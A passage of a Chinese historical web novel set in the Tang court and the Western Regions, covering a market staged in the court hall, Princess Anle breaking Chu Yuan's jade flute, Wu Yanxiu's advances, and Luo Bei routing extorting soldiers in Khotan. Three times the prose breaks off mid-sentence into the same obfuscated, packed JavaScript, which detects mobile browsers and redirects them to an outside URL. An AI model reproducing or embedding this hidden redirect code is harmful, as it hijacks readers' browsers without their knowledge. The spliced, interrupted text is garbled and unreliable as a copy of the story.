“殿下!”饶是裴伷先自信东宫在他羽翼之下是水泼不进的一片净土,听到他这样的话也不禁吓了一跳,“我知道殿下心中困苦,魏相公已经向圣上请旨,准许您召集博学文士,为朝廷编书。这是一件大事,殿下不妨在此事上多用心。” 李重俊知道他是为自己好,此刻也只得转了话头:“我答应你就是了。唉,也不知道这样的日子过到什么时候才算尽头。洛北呢?他什么时候回来?” 裴伷先摇了摇头:“难,魏元忠魏相公虽然位高权重,但如今已经调任中书省。洛冼马虽然才能出众,但并不精于文采,故而不适宜在中书省任职。” 李重俊知道他说的没错,也知道他在借此指点自己参政的本领:“不错,洛北熟知边事,更适合兵部。但如今的兵部尚书宗楚客可是武三思的人,他绝不愿意让别人进入兵部掣自己的肘。” “这也正是我为什么非要殿下忍下一时之气的缘故。”裴伷先轻声道:“如今殿下年轻,在朝中并无人手。洛公子又远在塞外西域。您手上没有牌和这些人对抗。魏相公提出的编书之事,就是想要为殿下积攒些实力。” “当年太宗皇帝在秦王府时有崇文馆,武皇执政之前,也有一批拥护她的北门学士——殿下,孰轻孰重,您自己要有个分辨。” 李重俊轻轻叹了口气,凝神思考此事去了。但他还没有思考出什么,外头就吵嚷起来。宫中的宦官前来传皇帝的口谕,说明日要在朝堂上举行宫市,请太子在东宫中挑选些物品供售卖之用。 朝堂上举行宫市,这可是亘古未有的奇事。但圣意如此,李重俊也没有违抗的余地,他挑了几件精巧的小玩意儿,交给宦官带进了宫中。 第二日的朝会一开,满朝文武都傻了眼。以往端正肃穆的宫殿之中,摆满了各色地摊,吃穿用度,样样皆有。宫人们扮成的小摊贩卖力地吆喝起来,直把个朝堂变成了个大集市。 “这是做什么?”刚刚回京不久的新任吏部侍郎兼谏议大夫宋璟目瞪口呆,他手持笏板,望着坐在龙椅上的皇帝李显,“陛下这是何意?” 李显没有理会帘后韦皇后的阻拦,笑意盈盈地望着他:“宋相公,你没看出来吗?朕这些天,把你们上的奏章都看了。这些奏章中有用的东西不多,涉及百姓生活的更少,读着非常腻烦。朕要整顿整顿朝中的言之无物的风气。要你们这些大臣们也体会一下平民百姓的生活。” 宋璟简直要被他气乐了:“陛下厌恶朝中奏疏言之无物的风气,可以让吏部和御史台牵头来整顿朝纲,规范大臣们的言行。这是我们的职责所在,理应如此。但您不应该在大朝会上突然变朝堂为集市,更不应该以此来戏弄大臣。” 李显的脸色一下子阴沉下去:“宋相公,朕是皇帝,不是你是皇帝!朕实在是不明白,你为什么样样事情都要和朕作对?” 宋璟凛然道:“微臣是吏部侍郎兼谏议大夫,为朝廷的事情建言献策是微臣的职责!太后在时是这样,陛下在时也是这样!微臣但知尽自己的职责,不知其他!” 李显冷哼了一声:“不错,宋相公忧国忧民,你不适合在长安,更适合代天子巡牧万民,来啊,朕要任命宋相公为检校贝州刺史,即刻起行,不得有误!” 按照有唐一代的礼仪规矩,这样重要的人事任免不能以皇帝的口谕作结,应当由中书省拟旨,交由门下省审核后,再交付尚书省执行。但武三思站在朝堂上,见皇帝怒发冲冠,立刻高喊了一声:“微臣遵旨。” 有他带头,朝中依附于他的一众官员都纷纷低头道了“遵旨。”宋璟知道武三思党羽遍布朝野,此刻也不再与他争锋,只跪地喊了一声:“微臣谢恩。”便拱手而去。 眼看着当朝宰相也因反对此事被贬斥出京,剩下的大臣们立刻学了乖。他们装模作样地在宫市上挑选起来,时不时地和那些扮演小贩的宫人们发生些简单的口角,以供李显观赏。 李显满脸笑意地坐在龙椅上,欣赏着这些位高权重,衣冠楚楚的大臣们像街边的平民一样争执着,还与韦皇后点评他们一两句:“你看那俩个人说的话,和咱们在房州的时候说的差不多嘛。当时你还笑我,说和小贩讨价还价有违皇家体统。” 韦皇后脸上青一阵,红一阵,已经有些坐立难安的架势。李显还浑然不觉,只是望着,看着。 这一出闹剧,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281710|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安乐公主闯进朝堂的时候达到了顶峰。 安乐公主明艳动人,穿着一身华美的衣裳,从殿后闯入朝前。她像一个正在观赏戏剧的观众那样穿梭众人之间,指点他们的言辞:“大人,你不该这样说,你这样说,那小贩就会知道你愿意出一贯铜钱的价格了。” “哎呀,你怎么能这么吆喝呢?这样吆喝哪里还会有人看啊。你听我的。”安乐公主笑着,学起了小贩的吆喝:“喂——这是内造的丝绸,众位大人快来买呀。” “安乐!”韦皇后再也坐不住了,她不能看着自己的女儿就这样在一众大臣之间跑来跑去,“你给我过来!到帘后来!” “父皇~”安乐公主跑到龙椅边,却并不如韦皇后所愿的那般回到帘后,只是柔声喊了几句李显:“下面有那么多宫女,又不止我一个,父皇就让我下去玩玩吧,好吗?” 李显一向拿自己的小女儿没有办法,此刻也不例外:“好吧,你去吧。不要玩得过了头。” 安乐公主得了父亲的允许,便又兴冲冲地跑到人群中去了。她走了大半个殿堂,终于在一处冷僻的摊位前看到褚沅:“褚沅——你也在这里啊?你卖些什么?” 褚沅低头道:“婢子昨日在宫中当值,陛下恩旨,叫婢子来凑凑热闹。婢子执掌内学馆,并没有什么特别的东西,只有这些笔墨纸砚,还算得能入贵人法眼。”她说着,把几样贵重东西拿到身边,双手递给安乐公主:“譬如这方砚台,这是端砚,是有.......” “哎呀。”安乐公主不耐烦地打断她,“你那点才学,在宫里或许还有夸耀的份。当着众位大臣,你有什么好卖弄的?无趣,无趣。” 她连着道了几个无趣,目光却在褚沅身上盘旋。奈何褚沅一身宫装,首饰也颇简朴,实在没有什么值得她注意的地方。她正要走向下一个摊位,却瞥见了褚沅腰间的玉笛: “这东西还算有几分价值,多少钱,给我吧。” 这玉笛是洛北临别前赠给她的东西,褚沅当然不会将血亲的东西随意出售,但安乐公主显然是有意来找麻烦,她只得赔笑道:“这是婢子的一位故人所赠,并不是货物。若是公主有心要些乐器,我看到明司乐的摊位就在不远处,她那里可有不少好乐器。” “我要乐器做什么?”安乐公主不顾她辩解,一把将玉笛从她腰间扯了下来,又从袖间摸出一枚铜板,高高地丢在地上:“就这个看起来还有些意思。我拿走了。” “殿下。”褚沅自承了曾祖“阳翟郡君”的爵位,在宫中已是十二分的谨小慎微,实在不知道自己是何处得罪了这位风头无两的安乐公主,只得跪在地上,“还请殿下不要和婢子开这样的玩笑。” “我没有在和你开玩笑。”安乐公主得意地拿着玉笛,在手中端详着,“看着倒像个古物呢。父皇,你也看看,好不好?” 李显对这个女儿是爱逾珍宝,但满朝的文武大臣都看着,他不能够偏袒太过:“好了安乐,不要和褚郡君开这样的玩笑,把东西还给人家吧。” 安乐公主不情不愿地撅起嘴,颇为委屈地转过身去,右手高高扬起,将玉笛狠狠地砸在了地上! 玉笛与地面一碰,发出清脆的一声,顿时碎成了数段。 89. 第 89 章 “珍娘。修不好就算了。” 褚沅站在内学馆的檐下望着雪霁后的天际发呆。今年冬日来得早,去得晚,雪已经断断续续地下了个把月。便是有宫人们勤奋洒扫,大明宫的砖瓦还是都染上了一层肃杀的白。唯有远处龙首原绵延起伏的山脉上还有几棵古木迎风而立。 曹珍娘坐在廊下,小心翼翼地用一套烫蜡的工具收拾那只残破了的玉笛。她分明已经听到褚沅的话,还恍若未闻似的,一双巧手只暗暗地和玉笛使劲儿,直到那软化的蜂蜡撑不住上半截玉笛的重量,又重重地落在地上,才抬起头来看褚沅: “褚姊姊,都怪你叫我。原本这一次能成功的。”她说着,抱怨起来:“洛公子要送你东西,为什么不送些好东西。这笛子的玉太老了,不好粘.......等他回京了,你好好地问问他,让他送你些好的!” 褚沅笑了,她蹲下身,把那些断裂的碎片都收在手帕里:“好啦,不要紧的。收起来吧,这件事情,不要再提了。” 李显在朝堂上戏弄百官,又借此由头把宋璟贬斥出京。天下人心震动,劝谏的奏章雪片一样地飞到天子的桌上,要求他效仿祖父太宗皇帝,亲贤臣,远小人,广开言路。 但那些奏疏,李显一封也没有看过。 “真是可惜。”上官婉儿挑了几篇极有文采的,带她一一读过,又将它们都扔到储存文件的书箱之中,等书箱一满,就放到库房里封存起来。 褚沅看着上官婉儿,忽而想起病榻上的女皇曾经和她说过的话:“我知道你为什么反对我,褚沅,你大概也和你的曾祖褚遂良一样,认为所有李家的天子都应当是太宗皇帝那样吧?” 女皇的双眼中露出深远的笑意,她上扬的唇角和上扬的眉毛一样,好像又把褚沅带回了女皇最意气风发的年代:“但褚遂良错了。你也错了。” 褚沅不知道该怎么回答,只好看着她。 “我和你打个赌吧。褚家的女儿。”女皇复又倒回榻上,闭上眼睛,“我给你留在宫里的身份和理由,你去看看吧,看看我那个儿子,能不能变成一个太宗那样的好皇帝!” “褚姊姊。”曹珍娘见她望着天际出神,知道她心情不好,用力扯了扯她的衣袖,“你在想什么?” 褚沅这才意识到自己出神了太久:“我在想安乐公主。”她凝着眉,“或许是我愚钝,我实在想不出来是什么时候得罪了她。” 其实她多少是能想明白原因的:外臣们说,一朝天子一朝臣。其实内宫中也是一样。如今后宫中掌权的是韦后和安乐公主。当年女皇重用的那些人,早就不复当年的风光了。大部分时候,韦后和安乐公主宁愿求助于外臣,也不愿意向她们看一眼。 一说到安乐公主,曹珍娘那张圆滚滚的脸也凝重起来,她皱着眉,背着手,像个小老头似的,故作深沉地想了好久,才想出来几句安慰褚沅的话: “褚姊姊也不要太为难自己了。我们这些在宫里的奴婢,要做别的难,要犯错还不容易?” “就说上一回吧,司宝姊姊去给安乐公主送珊瑚盆景,她非说那盆景不够红,让司宝姊姊在珍宝坊里找了三天,差不多把所有的珊瑚盆景都送到她的宫里,她才作罢。” 褚沅低头轻轻笑了。曹珍娘说的不假。只是她有了额外的这个“郡君”爵位,肩上有了“褚遂良曾孙女”的名分,说奴婢不像奴婢,说贵女不是贵女的,所以被人作践的时候,额外难堪一些罢了。 见她笑了,曹珍娘才稍微放下心来:“对了褚姊姊,上次昭容说,下回的文会要在新丰的温泉宫办。我从来不喜欢写诗,到时候可是全要指望你的!” 温泉宫中,碧波泛滥,旌旗满山。众位王宫贵胄齐聚一堂,投壶、射覆、猜枚、行令、掷骰子——当然,还有作诗。 那一天的诗会上,倒是褚沅的诗出人意料地拔得头筹。除了皇帝李显和韦皇后各赏了她十匹彩绸之外,上官婉儿又额外从头上拔下一根金步摇来给她:“褚学士虽久居深宫,诗句中却有山川无限。做得好,做得好。” 连同崔湜在内,同席赋诗的一众才子也七嘴八舌地附和起来,好像没有人在意她数日之前在朝堂上的难堪。褚沅知道这是上官婉儿的爱护,她便端起褚郡君应有的金尊玉贵来,笑着与这些人周旋,应付。 待到宴席散去,已是夜半三更。褚沅照例留下,督促着一众宫人收拾东西。她信步走到宫外的高台上,远远望着温泉宫中永不停歇的丝竹管弦和乐舞。 “褚郡君。”武延秀在她身后叫她,“我听说下午文会上的事情了,恭喜郡君拔得头筹,我也有礼物奉上。” 褚沅与他时常在宫中的各处宴席上碰面,但真正接触,只有她为了救自家哥哥求到武延秀门上的那一次。她自知自己是欠了武延秀人情的,只得陪着笑向他道礼: “淮阳郡王太客气了。本不必.......” 他献宝似的从袖中掏出一只青玉的笛子,单手递到褚沅面前:“怎么样,比起你原来那只如何?” 他生得俊伟,一张俊秀面容上漾出笑意,在夜色中显得风流倜傥:“我可是跑遍了西市,才找到一只形制相似的。” 褚沅苦笑了一声:“淮阳郡王这是什么意思?” 他当她不知道他和安乐公主之间的私情吗? 武延秀大概没想到她会有此一问,拿着玉笛的手缓缓垂在袖中,语气中已带了几分不耐烦:“褚郡君应当知道,兵部已经发出任命,命洛北以检校安西都护府司马身份兼任于阗镇守使。此职重要,至少五年之内,他是不会回长安了。” 这项任命褚沅早已知道。她点了点头:“不错,我还听说,圣上与皇后夸口,说他早就知道洛公子是边塞的雄鹰,应当翱翔在塞外的广阔天地,如今果然应验,可见他的识人之明。” 武延秀冷笑了一声,俊朗的脸上露出讽刺之意:“褚沅,你是真不知道还是假不知道,乌特特勤本就出身西突厥,他去了西域,就绝不会再回来——”他凑近了褚沅,一字一顿地问她:“你一个人在宫里,能依靠谁呢?” 他说话时呼出的水汽喷在褚沅脸上,终于让她想起一些不太好的回忆。她先是后退半步,而后是难以置信地看着武延秀的眼睛:“淮阳郡王, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281711|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你误会了......我......” 她张了张口,还是把后半句未完的话咽了下去。 武延秀望着她,脸上露出一点玩味的微笑,一步步地向她走来:“你知道吗?那天你闯到我的府上来,一袭白衣,神情决绝,姿容之美,我至今难忘。” “后来我无数次地扪心自问,比起他洛北,我到底差在什么地方?”武延秀摊开双手,“权力,容貌,能力?如果现在在突厥牙帐,你对他念念不忘,我一点意见也没有。但你我如今可是在长安,在大唐的长安。” 褚沅觉得他近乎不可理喻:“郡王殿下一定是喝醉了。我这就去请太医来......” “你能跑到什么地方去?你想跑到什么地方去?”武延秀问,“你是宫女,是女官,你生长在大明宫里,是一定会死在这里的——” “褚沅。”远远地,有人叫了她一声。褚沅仓皇地回过头去,太平公主站在宫灯的阴影里,身后只跟了两个宫女。 “公主殿下。”她低身向太平公主道礼,“请问殿下有何吩咐?” “我夜来无眠,要寻几册书来打发时光。你替我去找一本《道德经》来。”太平公主说完这句话,才像刚注意到武延秀似的:“淮阳郡王,你也在这里?” 太平公主权倾朝野,更是武延秀的长辈。武延秀也不敢和她抗衡,只是低身道礼:“侄儿也睡不着,随便出来走走。” “既然如此,你可以回去休息了。”太平公主的唇边噙着一抹冷笑,“还好是撞到了我,要是撞到了御史,被他们一本奏上去。你打算怎么和圣上解释你半夜在宫中游荡的居心?” “公主教训的是。”武延秀又道了个礼,讪讪地走了。 太平公主挥了挥手,示意褚沅与她同行一段:“那小子来招惹你做什么?” “回禀公主,我也不知道。”褚沅轻轻叹了口气,现在大概明白自己是在什么地方开罪了安乐公主了。 太平公主笑了:“不要这么诚惶诚恐的,我们又不是外间的那些大臣,不用摆出那些冠冕堂皇的东西。”她顿了顿,“武延秀的容貌嘛,在武家人当中也算是一等一的了。我一点也不意外为什么安乐喜欢他。但看起来,你不喜欢他,是吗?” 褚沅苦笑着摇了摇头,她实在不知道该怎么和安乐公主解释这些。 太平公主似乎看得出她心中的想法:“安乐那样骄傲的性子,你要是和她说这些喜不喜欢的事情,她反倒觉得你在羞辱她。知道如果我是你的话,我会怎么做吗?” “再找些英俊才子,荐给公主殿下?”褚沅试探性地问了一句。 太平公主笑了一声:“婉儿常在我面前夸你聪慧,如今看来,果然如此。” 褚沅不好意思地低下头:“多谢公主殿下的指点,只是.......” “只是你平素在这些事情上无所用心,临时来想,也想不出什么人选,是吗?”太平公主望了她一眼,“我和婉儿都猜到你会这样说。所以已找人为你列了一张名帖——你就借着文会的机会,和这些人多多来往,想来,不算太难吧?” 90. 第 90 章 于阗坐落在丝绸之路的南道上,北方是黄沙遍野,不见人烟的图伦碛,南方就是高耸入云,绵延不断的昆仑雪山,两条大河自昆仑山脉奔涌而下,穿过于阗首都西山城,流入大漠,汇成“玉河”。丰水期时的玉河奔涌沙漠而过,汇入安西都护府所在的龟兹城的“赤河”之中。枯水期便只有干涸的河床和沙漠。 神龙三年的春日,洛北自龟兹出发,顺着玉河河岸逆流而上,穿过荒芜人烟的图伦碛,前往于阗赴任。他这次除却自己的二十八骑亲兵之外,还带了三十人的骑队,驼马队在他身后绵延得极长。 巴彦临时作为掌旗官一骑当先,呼啸的春风吹动他所高举的那面火红旗帜,上面高高地书着几行飞扬的大字: “云麾将军,左骁卫中郎将,检校安西都护府司马,充于阗军镇守使洛北。” 洛北跳下马,弯腰从河滩上捡起一块石头,擦了擦,转手递给吴钩:“都说于阗盛产玉石,甚至随手就可以在河岸上捡到美玉。但我怎么看这些顽石也和美玉相差甚远。” “公子爷。”吴钩哈哈大笑,“丝路上往来的不少商旅就指着这些玉石发财,若是被公子这样随手一捡就捡到了美玉,那些商人们何必再花大力气从于阗人手中收购呢?” 洛北也随他一起笑了。他转过头去,叫他的掌旗官:“巴彦,把旗帜收起来,命大家就地驻扎吧。前面就是于阗王城了。” “是,将军。”巴彦低声应下,转头去招呼骑队驻扎修整。 洛北的亲兵们早就习惯了随军旅行,手脚麻利地支起营帐,架起大锅。 两个新雇来的随军的厨师往锅里舀了几勺河水,往里倒入粟米,又从骆驼背上卸下肉干和馕饼,烧得热热的,正要分给众人。一只金雕呼啸而过,丢下了一只岩羊。 “将军!你的金雕来给我们加餐来了!”阿拔思乐滋滋地抓起摔了个七荤八素的岩羊,“这小东西真是通人性啊,知道我们在沙漠里待得太久,肚子里没有油水。” “这不是来得正好。”洛北叫厨师把岩羊就地收拾了,熬成羊汤。自己则借着分羊汤的机会,在营地中来回穿梭。他眼见众人虽然风尘仆仆,但人人精神昂扬,聚在一起说说笑笑,才放下心来。 他从龟兹出发前,郭元振特地把他叫到身边,对他耳提面命,叮嘱他如今要独掌一军了,要把该有的架子做起来。不要再像从前当参军和县令的时候那样,一人一骑,独来独往了。 “要是你实在没钱雇佣奴婢,我可以送你两个。”郭元振摸了摸下巴的短须,露出和之前一样别无二致的玩味笑容:“上回有人送了我两个美貌的胡姬,我还没空去看呢。你要是有空,不妨去见见,要是合心意,就替我收下吧。” “大帅说笑了。”洛北哑然失笑。时人以役使奴婢为寻常事,便是中产之家,也能使奴唤婢。朋友之间互赠奴婢更是风雅之事。但他自己并不喜欢这样:“我习惯了独来独往,不喜欢添人围绕。不过,我明白大帅的意思了。” 洛北在碎叶城中挑选一番,才组成这支五十人的骑队。奈何时不凑巧,他们穿过图伦碛时偏偏遇上春季的大风,一连十来天,沙尘不断,还差点遇到了沙暴。洛北殚精竭虑,想尽了办法,才把这五十来号人全须全尾地带出沙漠。 “公子。”巴彦吃完了饭,拿袖子擦了擦嘴,抱起那支大旗,来到洛北身边,“咱们什么时候出发?” “不急。”洛北看了看远处的于阗王城,“我们这样浩浩荡荡的队伍,贸然入城,会引起不必要的麻烦。按照规矩,应当派出使节前去通报才是。” “我去吧,公子。”阿拔思听到此话,忙过来请命,“我的母家出身于阗,我也会说于阗话的。” “哎,这样的事情,应该让掌旗官去嘛。”巴彦拍了拍手中的旗杆,“我穿好盔甲,威风凛凛地去。” 洛北赏给他们一人一个爆栗:“我们是去通报,不是去耀武扬威的,穿什么盔甲?还有,这样能凑热闹的好事儿,你们怎么就想着自己?”他站起来,掸了掸身上的灰尘,“我也要去。你们俩都去换身平民的衣裳,叫上吴先生,和我走。” 于阗王城西山城在山间一片平原上。河水如一条玉带环绕城市,两岸桑树成林,山下农田遍地。但今日于阗王并不在王宫之中,他带着自己的子孙们出门礼佛去了。 玉河和缓,滋养着于阗境内数个城池。于阗百姓多以农耕和桑蚕为业,生活安定平稳。他们举止文雅,谈吐流利,平日以歌舞乐曲自娱,遇到节庆,便涌入佛寺,供奉香花礼敬神佛。 洛北只好递出自己的名帖,又加了些碎银给了宫门守卫:“我有要事要求见于阗王,还要麻烦大哥等殿下回来之后代我通报一声。若是殿下要寻我,不妨到集市中去寻。” 那守卫并不认得汉字,只将名帖揣在怀里:“小兄弟你放心,一句话的事情,就算不看在银子份上,我也会帮忙的。” “既然于阗王不在王宫中,我们倒是有些时间可以把西山城游览一番。”洛北笑道,“我看那家酒肆生意不错,走,去坐下。” 酒肆掌柜是个身高体健的老板娘,一身粗绸的长裙,衣袖用发带系得紧紧的,正是个干练模样。 于阗地处交通要道,向东是大唐,向西是西域,向南翻越雪山就是吐蕃和天竺,自古以来便是商旅云集的繁华胜地。本朝也不例外。 老板娘在集市里练出一番识人的本事,她上下打量了一番这几人,见他们身着汉家服色,就笑意盈盈地以一口流利的汉话与他们搭讪:“诸位,是吃饭还是住店?” 吴钩从怀里摸出一锭银子:“吃饭,把你们这儿有名的酒菜都给我上一遍。” “得嘞,这就给您准备。”老板娘收了银子,笑得越发灿烂,不一会儿又端着一只陶瓶,亲自给他们斟酒:“几位旅途辛苦了,这里是小店特制的桑葚酒,请几位品评。” 洛北道:“多谢老板娘了,我看你们这城里桑树极多,可都是为了养蚕缫丝种植的?” “公子不知道,这桑树对我们于阗人来说,可是个宝贝。”老板娘掰着手指头和他们数:“桑树根系发达,可以巩固水土,桑果可以食用,桑皮可以做纸,桑叶可以养蚕。最后一项最重要了。我知道,对你们汉人来说,丝绸是处处可见的,但在西域,只有我们于阗人会养蚕缫丝。” 老板娘说完话,便转去招呼其他客人了。馕饼、烤包子、烧羊肉......各色美食摆了一桌,此地香料易得,这些菜肴上都洒了孜然和椒盐,引得人食指大动。阿拔思和巴彦早就忍不住口水,当即开口大嚼特嚼起来。 正在他们吃饭之时,酒肆外间传来一阵吵人的喧闹。洛北立刻望了过去,只见两三个穿着大唐赤色军服的青年,手中拿着白刃长刀,与一众客商起了冲突。 洛北搁下筷子,要往那边去看,却被老板娘挡住:“公子,没什么好看的。几个醉汉闹事罢了。你吃你的,你吃你的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14281712|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她挽了挽袖子,又整了整衣裳,露出雪白的胸脯,娇笑着向那几个士兵迎了过去,把他们和那几个异族客商隔开:“几位军爷,小店三日前才交了供奉呀,怎么今天又来了。可是馋我这小店的酒喝了?” 她不等那几个士兵回答,就清出一张干净的台面,请他们坐下,又招呼小厮道:“再送些酒来给这几位军爷,饭钱就记在我账上。” “区区一顿饭钱,就想把老子打发了?老板娘,你这生意做得也太容易了。”那为首的士兵向前一步,拎起那只酒瓶,重重地砸在了地上,桑葚酒的紫浆溅了满地,吓得一众客商纷纷起身。 老板娘真怕他们在自家的店里闹起来,只得再赔笑道:“军爷,军爷,您就当照顾照顾我,这一次,要多少钱才够啊。” 那士兵也不答话,只伸出五根手指。 “五两,这,这可是笔大钱啊。我这小店哪有那么多现钱。”老板娘为难道:“要不您行行好,打个折得了。” “我这来和你讨价还价了是吗?”士兵听得此话,当即发起狠来,手起刀落,砍断了一只桌角。 那桌上的客人吓得纷纷向外逃去,“你没有现钱,这些大头可有啊。你不给我,我就只能问他们要了。” 他周身的几桌客人都已逃了个干干净净,那士兵环顾四周,只瞄到了洛北。他上前一步,把刀架在了洛北的脖颈上:“哟,这哪来的公子哥儿啊?借哥们儿两个子儿花花。老子今天心情不好,别惹老子不高兴。” 洛北笑了一声,从腰间摸出一只金叶子,放在桌上:“好啊,借你钱,没问题。唯一一点,就是你要告诉我,要这钱有什么用。” 那士兵看到金叶子,眼睛已经直了,他拿着刀试着往前,要伸手去够,又不敢把目光从洛北的脸上移开:“你问这个做什么?” “你只管回答我的问题就好了。”洛北道,“反正你的刀现在架在我的脖子上,我怎么样也不会逃出你的手掌心的,不是吗?” 那士兵冷哼一声:“告诉你也无妨。听说要新来个于阗镇守使,兄弟们打算凑些银子,请他乐呵乐呵,叫他把兄弟们往上拔一拔。”他再一伸手,终于抓住了那只金叶子,放在牙边一咬,见是个真金,脸上的笑意再遮不住:“你这人倒是出手大方。” 洛北点了点头:“我说过,只要你说出来,我是可以把钱借你的。”他伸手弹了弹刀刃:“现在,可以把刀放下了吗?” 那士兵小心翼翼地把金叶子揣在怀里,手上的刀却一点不松:“哼,我看你手上,应该不止这些钱吧?老子不会为难你,把你身上的钱都拿出来,我就松手,不仅松手,还允许你交我这个朋友。” 洛北冷笑一声:“贪得无厌的东西——”他飞起一脚把这士兵手中的兵刃踢飞出去,伸手抓住了他的衣襟,将金叶子拿了出来: “我今天心情很好,不想被人打扰。所以你最好在我心情变坏之前滚出去!” 那柄刀在空中划出一道弧线,远远地落在了酒肆外的街道上。那士兵脸上露出惊惧神色,再不敢和他纠缠:“公子饶命,公子饶命。” 洛北伸手松开他的衣襟:“还不快滚?” 士兵差点瘫倒在地上,反应过来时,才带着那两个同行的士兵,连滚带爬地跑了出去。 老板娘望着洛北,既是感谢,又是为难:“公子不知道,他们这样放肆,都是因为军中有军官给他们撑腰,您得罪不起他们,还是快走吧。” 91. 第 91 章 洛北轻轻一笑,摆了摆手,重新坐回桌边,端起陶瓶装的桑葚酒,自斟自饮了一杯。他本就生得一副俊美佚丽的相貌,此时神态自若,举止潇洒,真把这酒肆衬得蓬荜生辉,叫人见之心折。 酒肆中人望着他,心中也逐渐安定下来。老板娘悄悄叫过两个伙计:“先把半边门板上了。把后门打开,一会儿见势不妙,带着他们跑了再说。” 不多时,一阵马蹄声自远及近,停在了酒肆之前。一个身着铠甲的队正带着一队兵丁闯了进来。他一进门来,先让手下将两张桌子掀翻,一把高大的陌刀明晃晃地亮在手边:“怎么回事儿,我听说,有人砸摊子来了?” 洛北站起身,傲然将双手剪到身后,将他上下打量一番:“一个队正,不入流的品级,手下也就五十人的队伍,就敢纵容手下士兵当街勒索,勒索不成,就亲自带人上门打砸。你当我大唐的军法都是摆设吗?!” 洛北说出“军法”二字时,那队正忍不住瑟缩了一下。大唐军法严明,劫掠平民,罪当论斩。但他看洛北孤身一人,自己身后却有足足二十人,心里的底气又回来了几分:“他奶奶的,你是什么东西,也敢在老子面前讲军法?!”说罢,胳膊前伸,向下一劈,竟是要洛北血溅当场。 洛北神色不动,伸手一抓一送,将他连人带刀送了出去。那队头身不由己,倒退三步,一口气没稳住,竟在地上摔了个倒栽葱。 “哈哈哈哈。”老板娘还是第一次见到这等劣迹斑斑的人物这般吃瘪,忍不住在一边笑起来。 队正还在呆呆地愣着神,身后两个士兵已经将他扶了起来,一边给他掸灰,一边关心他的伤势:“队正,您没事吧?” 队正脸上哪还挂得住,他胡乱地一挥手:“我看这些人是有叛乱之心,都给我杀了!杀!杀!” “巴彦,阿拔思。”洛北立在原地,岿然不动,“卸了这些人的兵刃!” 巴彦和阿拔思在旁边早就待得心痒,当下得了他的命令,高声道了一声:“是。”便从斜里冲出来,一人出拳,一人出腿,配合默契,顷刻间就将冲上来的几个人撂倒在地。 剩下那十几个兵丁见他们出手利落,一时瑟缩,不敢再上前。洛北往前一步,他们便往前退一步,直至退到大街上,才顿住步子。 “大唐军法,受命行事者,无罪。”洛北沉声道,“放下兵刃,我饶你们不死。” 那几个为首的士兵对视几眼,各自放下兵刃,跪倒在地:“公子饶命,公子饶命。”剩下的人见此情况,也不敢和洛北硬顶,只好一个个丢掉兵刃,跪下求饶:“小的们有眼不识泰山,开罪公子。还请公子饶命。” 那队正眼见大势已去,只好跪倒在洛北面前,伸手拽住他的衣摆:“公子饶命,公子饶命,我一时糊涂犯此大错,我.......”他说着声泪俱下,鼻涕眼泪流了一脸。 洛北深厌他这番惺惺作态,踢了他一下将他甩开,又冷声道:“饶你不死?可以。叫你手下这帮人将酒肆恢复原状,赔偿店家的一切损失。” 队正忙点头:“是,是,是。”他从袖中摸出几两纹银摆在桌上,又招呼属下将酒肆内的桌椅板凳扶起,把倒地的饭菜和酒瓶打扫干净。 老板娘几度想要去拦,却拦不住他们,只得看着他们把东西整理一新:“哎呀,几位,我来吧,我来吧。” 队正见店内收拾一毕,又哈巴狗似的蹭到洛北身边:“这,公子,此地事毕,我们是否可以......” “你们可以走了。”洛北挥了挥手。 “这,我们的兵刃......公子可否还给我们?”那队正陪着小心,“这些陌刀短刀都属军事物资,丢掉了,营头是要找我们麻烦的。” 洛北冷笑一声:“我只说饶你们不死,没有说过活罪可免。若是你们营头问起,你就叫他到于阗镇守使的衙署去领!” 他声色俱厉,那队正不敢再问,只好带着人灰溜溜地走了。 那老板娘端着壶桑葚酒,来到洛北面前,躬身下拜:“多谢公子仗义出手。” “这本是我分内之事,老板娘客气了。”洛北却没有接她手中酒瓶,“大唐驻军在此,是要广播教化,宣以大唐威德。被他们搞成这个仗势欺人的样子,是于阗镇守使御下不严。” “公子这话倒是冤枉哥舒镇守使了。”老板娘笑笑地替他的前任哥舒道元辩解,“他在的时候,这地方倒也没有这么乱。他娶我们公主的时候,还给我们城中百姓都分了酒呢。就是他离任之后,继任迟迟不定......才把好好的军营搅成这样。” 她见洛北神色不动,担心自己说错了话:“是我多言了,公子......你身手这样出众,想来不是普通的丝绸商人能有的,你是什么人呐?” 洛北笑一笑,没来得及答她。外面又有一骑飞到酒肆外:“龟兹来的洛将军在哪里?” 那人走到酒肆内,众人才看清他样貌,来的是个衣着华贵的青年,黄袍高冠,约莫三十余岁年纪。 老板娘和酒肆众人都低身行礼:“见过太子殿下。” 